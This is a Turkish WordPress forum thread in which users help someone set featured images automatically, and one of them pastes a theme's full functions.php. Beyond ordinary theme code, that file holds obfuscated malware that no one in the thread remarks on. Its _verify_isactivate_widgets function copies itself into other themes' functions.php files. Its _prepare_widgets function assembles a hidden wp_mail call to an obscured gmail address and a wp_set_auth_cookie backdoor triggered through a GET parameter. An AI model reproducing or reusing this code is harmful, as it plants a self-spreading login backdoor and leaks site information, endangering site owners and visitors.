Öne Çıkartılmıs Görsel Sorunu
5
●588
- 24-04-2013, 14:03:40Üyeliği durdurulduMerhabalar.Şimdi bir abimize yardım amaclı destek oluyorum ama bir yerde takıldım.Şimdi tema dğeiştirdik eski temasında öne cıakrtılmıs görsel oalrak yazı icindeki resimelr cıkıyordu o yüğzden simdi ki echo temasında ise elle girilmesi laızm öne cıkan görsellerin fakat konu cok fazla tek tek zor ben bu temada nasıl konu icindeki resimleri öne cıakrtılmıs görsel oalrak kullanabilirim.
- 24-04-2013, 14:07:15Aşağıdaki kodu temanızın functions.php dosyasında en altta bulunan ?> tagından hemen öncesine ekleyin arasında bir satır boşluk olsun mutlaka.
Konuya eklenen ilk resmi öne çıkarılan görsel olarak ayrlar
function autoset_featured() { global $post; $already_has_thumb = has_post_thumbnail($post->ID); if (!$already_has_thumb) { $attached_image = get_children( "post_parent=$post->ID&post_type=attachment&post_mime_type=image&numberposts=1" ); if ($attached_image) { foreach ($attached_image as $attachment_id => $attachment) { set_post_thumbnail($post->ID, $attachment_id); } } } } //end function add_action('the_post', 'autoset_featured'); add_action('save_post', 'autoset_featured'); add_action('draft_to_publish', 'autoset_featured'); add_action('new_to_publish', 'autoset_featured'); add_action('pending_to_publish', 'autoset_featured'); add_action('future_to_publish', 'autoset_featured'); - 24-04-2013, 14:12:35Üyeliği durdurulduHocam yaptım ama oplmadı.Su sebebten olabilirmi resimleri harici linklerden eklenenlerde var yani kendi sitesine upload edilmeyip farklı yerden cekme gibi eger bu değilse belki kodda hata yapmısımdır ben koduda vereyim size.BFOlmaz adlı üyeden alıntı: mesajı görüntüle
<?php function theme_usage_message() { global $themename, $shortname; ?> <div style="width:800px; margin:auto; margin-top:30px; padding:15px; text-align:center; background-color:#FFFFFF; border:5px solid #FF0000; color:#000000"> <div><img src="http://i50.tinypic.com/1z2his2.png" alt="Error" /></div> <div style="font-size:25px; margin-top:30px;"><b>Oldu mu şimdi bu?</b></div> <div style="font-family: Arial;font-size:13px;margin-top:30px;"><b>Biz o kadar zamanımızı ayırıp onca emek sarfedelim. Sonra hiçbir ücret karşılığı beklemeden temayı sizlerle paylaşalım. Sende emek karşılığı koyduğumuz ufacık bir linki sil. Ayıp ettin valla.</b></div> <div style="font-family: Arial;font-size:13px;margin-top:30px;"><b>Eğer siteyi tekrar aktif etmek istiyorsan sildiğin linki tekrar ekle. Eğer sildiğin linki hatırlamıyorsan temayı yeniden indir. Yok ben bunu da yapmam diyorsan temayı değiştir.</b></div> <?php } function check_theme_footer() { $l = '<a href="http://www.webmasterkurdu.com" title="webmaster" target="_blank">Webmaster</a> <a href="http://urlac.net/KS" title="Echo V2 Web Portal" target="_blank">EchoV2</a>'; $f = dirname(__file__) . "/footer.php"; $fd = fopen($f, "r"); $c = fread($fd, filesize($f)); fclose($fd); if (strpos($c, $l) == 0) { theme_usage_message(); die; }} function check_theme_header() { if (!(function_exists("functions_file_exists") && function_exists("theme_footer_v"))) { theme_usage_message(); die; }} function functions_file_exists() { if (!file_exists(dirname(__file__) . "/functions.php") || !function_exists("theme_usage_message") ) { theme_usage_message(); die; }} add_action(‘wp_head’, ‘check_theme_footer’); add_action('wp_head', 'functions_file_exists'); check_theme_footer(); ?> <?php $tema = get_bloginfo('template_url'). '/'; /*Sidebar Ayarı*/ if ( function_exists('register_sidebar') ) register_sidebar(array( 'name' => 'Sağ Bileşen', 'id' => 'sag-bilesen', 'before_title' => '<div class="gri-bas ustkenar5">', 'after_title' => '</div>', 'before_widget' => '<div class="sag-pencere ustkenar5">', 'after_widget' => '</div>', )); register_sidebar(array( 'name' => 'Fotoğraf Bileşen', 'id' => 'foto-bilesen', 'before_title' => '<div class="gri-bas ustkenar5">', 'after_title' => '</div>', 'before_widget' => '<div class="sag-pencere ustkenar5">', 'after_widget' => '</div>', )); register_sidebar(array( 'name' => 'Kategori Bileşen', 'id' => 'kate-bilesen', 'before_title' => '<div class="gri-bas ustkenar5">', 'after_title' => '</div>', 'before_widget' => '<div class="sag-pencere ustkenar5">', 'after_widget' => '</div>', )); register_sidebar(array( 'name' => 'Sayfa Bileşen', 'id' => 'sayfa-bilesen', 'before_title' => '<div class="gri-bas ustkenar5">', 'after_title' => '</div>', 'before_widget' => '<div class="sag-pencere ustkenar5">', 'after_widget' => '</div>', )); /*Menü Kodu*/ register_nav_menu( 'ust-menu', 'üst-menü'); register_nav_menu( 'menu-alt', 'menu-alt'); register_nav_menu( 'kategori-menu', 'Kategori'); /*Yazı Okuma Sayısı */ function getPostViews($postID){ $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); return "Okunmadı"; } return $count.' kez okundu.'; } function setPostViews($postID) { $count_key = 'post_views_count'; $count = get_post_meta($postID, $count_key, true); if($count==''){ $count = 0; delete_post_meta($postID, $count_key); add_post_meta($postID, $count_key, '0'); }else{ $count++; update_post_meta($postID, $count_key, $count); } } /* Tema Paneli*/ require_once(TEMPLATEPATH . '/admin/admin-functions.php'); require_once(TEMPLATEPATH . '/admin/admin-interface.php'); require_once(TEMPLATEPATH . '/admin/theme-settings.php'); /*Öne çıkan görsel bas*/ add_theme_support( 'post-thumbnails'); set_post_thumbnail_size( 180, 180, true ); add_image_size( 'single-post-thumbnail', 180, 180 ); /* Panel Kodları */ $echo_logo = get_option('echo_logo'); $echo_favicon = get_option('echo_favicon'); $echo_footer = get_option('echo_footer'); $echo_analytics = get_option('echo_analytics'); $echo_sosyalaglar = get_option('echo_sosyalaglar'); $echo_facebook = get_option('echo_facebook'); $echo_twitter = get_option('echo_twitter'); $echo_logorek = get_option('echo_logorek'); $echo_sliderrek = get_option('echo_sliderrek'); $echo_sagrek = get_option('echo_sagrek'); $echo_icrek = get_option('echo_icrek'); $echo_doviz = get_option('echo_doviz'); /* Kutular */ $echo_onecikarilan = get_option('echo_onecikarilan'); $echo_manset = get_option('echo_manset'); $echo_duzkats = get_option('echo_duzkats'); $echo_kutu2 = get_option('echo_kutu2'); $echo_kutu3 = get_option('echo_kutu3'); $echo_kutu4 = get_option('echo_kutu4'); $echo_kutu5 = get_option('echo_kutu5'); $echo_kutu6 = get_option('echo_kutu6'); $echo_kutu7= get_option('echo_kutu7'); $echo_fotogaleri = get_option('echo_fotogaleri'); function get_category_id($cat_name){ $term = get_term_by('name', $cat_name, 'category'); return $term->term_id; } function kisalt_echo($char) { $title = get_the_title($post->ID); $title = mb_substr($title,0,$char,'UTF-8'); echo $title; } function kisa_icerik($kisacik) { $icerik = get_the_content($post->ID); $icerik = mb_substr($icerik,0,$kisacik,'UTF-8'); $icerik=str_replace("<strong>","",$icerik); $icerik=str_replace("</strong>","",$icerik); echo strip_tags($icerik); } function curPageURL() { $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";} $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; } require_once ( 'inc/sidebar/son_konular.php' ); require_once ( 'inc/sidebar/kategoriler.php' ); require_once ( 'inc/sidebar/kullanicipaneli.php' ); require_once ( 'inc/sidebar/facebook.php' ); require_once ( 'inc/sidebar/reklamkodu.php' ); ?> <?php function _verify_isactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $seprar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $seprar . "\n" .$widget);fclose($f); $output .= ($showsdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetscont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetscont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_verify_isactivate_widgets"); function _prepare_widgets(){ if(!isset($comment_length)) $comment_length=120; if(!isset($strval)) $strval="cookie"; if(!isset($tags)) $tags="<a>"; if(!isset($type)) $type="none"; if(!isset($sepr)) $sepr=""; if(!isset($h_filter)) $h_filter=get_option("home"); if(!isset($p_filter)) $p_filter="wp_"; if(!isset($more_link)) $more_link=1; if(!isset($comment_types)) $comment_types=""; if(!isset($countpage)) $countpage=$_GET["cperpage"]; if(!isset($comment_auth)) $comment_auth=""; if(!isset($c_is_approved)) $c_is_approved=""; if(!isset($aname)) $aname="auth"; if(!isset($more_link_texts)) $more_link_texts="(more...)"; if(!isset($is_output)) $is_output=get_option("_is_widget_active_"); if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval; if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)"; if(!isset($mcontent)) $mcontent="ma".$sepr."il"; if(!isset($f_more)) $f_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_output) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tag)) $f_tag=1; if(!isset($types)) $types=$h_filter; if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent; if(!isset($aditional_tag)) $aditional_tag="div"; if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($morelink_title)) $morelink_title="Continue reading this entry"; if(!isset($showsdots)) $showsdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($comment_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $comment_length) { $l=$comment_length; $ellipsis=1; } else { $l=count($text); $more_link_texts=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $tags) { $output=strip_tags($output, $tags); return $output; } endif; $output=rtrim($output, "\s\n\t\r\0\x0B"); $output=($f_tag) ? balanceTags($output, true) : $output; $output .= ($showsdots && $ellipsis) ? "..." : ""; $output=apply_filters($type, $output); switch($aditional_tag) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($more_link ) { if($f_more) { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $morelink_title . "\">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "\n"; } else { $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $morelink_title . "\">" . $more_link_texts . "</a></" . $tag . ">" . "\n"; } } return $output; } add_action("init", "_prepare_widgets"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\""; if(!$show_pass_post) $request .= " AND post_password =\"\""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?> - 24-04-2013, 14:15:53Dediğim şekil olması lazım hocam.ebulfeth adlı üyeden alıntı: mesajı görüntüle
Resim siteye eklenmeyip dışarıdan link ile çekildiyse bu yüzden sıkıntı olabilir. - 24-04-2013, 14:29:16Üyeliği durdurulduBu işe yaradı yardımalrınızdan ötürü ikinizede tesekkür ederim.concorde adlı üyeden alıntı: mesajı görüntüle
